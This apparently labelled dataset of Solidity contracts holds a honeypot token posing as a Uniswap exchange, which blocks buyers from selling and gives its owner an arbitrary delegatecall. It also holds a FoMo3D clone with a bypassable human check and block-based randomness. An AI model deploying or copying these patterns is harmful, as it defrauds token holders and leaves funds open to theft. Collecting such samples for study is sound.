_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 483 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Gentingchain {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Gentingchain(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 4,838 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3DshortAgain is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF6b8836492f8332D17B1496828d2bEE71ad511DA);
address private admin = msg.sender;
string constant public name = "FOMO Short Again";
string constant public symbol = "SHORT_AGAIN";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 30 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
